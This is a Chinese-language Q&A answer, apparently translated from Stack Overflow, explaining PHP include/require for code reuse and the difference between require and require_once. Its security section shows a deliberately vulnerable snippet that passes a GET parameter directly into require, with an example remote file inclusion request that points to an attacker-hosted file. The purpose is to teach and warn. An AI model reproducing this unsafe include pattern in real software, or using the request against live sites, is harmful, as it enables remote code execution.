主要是为了代码的复用性-this page sums it up rather well:
这是 PHP 的一个强项,它有助于创建可在多个页面上重复使用的函数、页眉、页脚或元素。这将帮助开发人员以最小的努力轻松更改整个网站的布局。如果需要进行任何更改,则无需更改数千个文件,只需更改包含的文件即可。
它在许多基于 PHP 的平台(Wordpress、Magento 等)中使用,其中一种常见用途是用于页眉和页脚。
更新
关于安全性
根据您使用它们的方式,它们可以降低或提高安全性。远程文件包含是它如何降低页面安全性的一个示例。比如:
<?php
$page = isset($_GET['page']) ? $_GET['page'] : 'home';
require $page . '.php';
?>
想象在 example.com/malice.php 中存在一个文件,而我们的脚本位于 site.com/index.php。攻击者将执行以下请求:site.com/index.php?page=www.example.com/malice。该文件将在包含时执行,并且可以将新文件写入磁盘。
一个可以提高安全性的例子:
<?php
// This script from your servers webroot
require '../public_index.php';
?>
这将从您的 webroot 外部访问文件。默认的 apache 网络用户无权查看 webroot 之外的任何内容,因此他们永远无法访问 public_index.php(除非他们获得了能够访问的用户的凭据 - 例如 root) .
这种措施的实际应用是 Wordpress 的 wp-config.php 文件,该文件可以放置在服务器 webroot 之外。
Source
简要说明使用 require 和 require_once 的区别
require() 包含并评估特定文件,而 require_once() 仅在之前未包含时(在同一页面上)才会这样做。
因此,例如,当您想要包含具有很多功能的文件时,建议使用require_once()。这样可以确保不会多次包含该文件,并且不会出现“函数重新声明”错误。
Source
我希望这会有所帮助。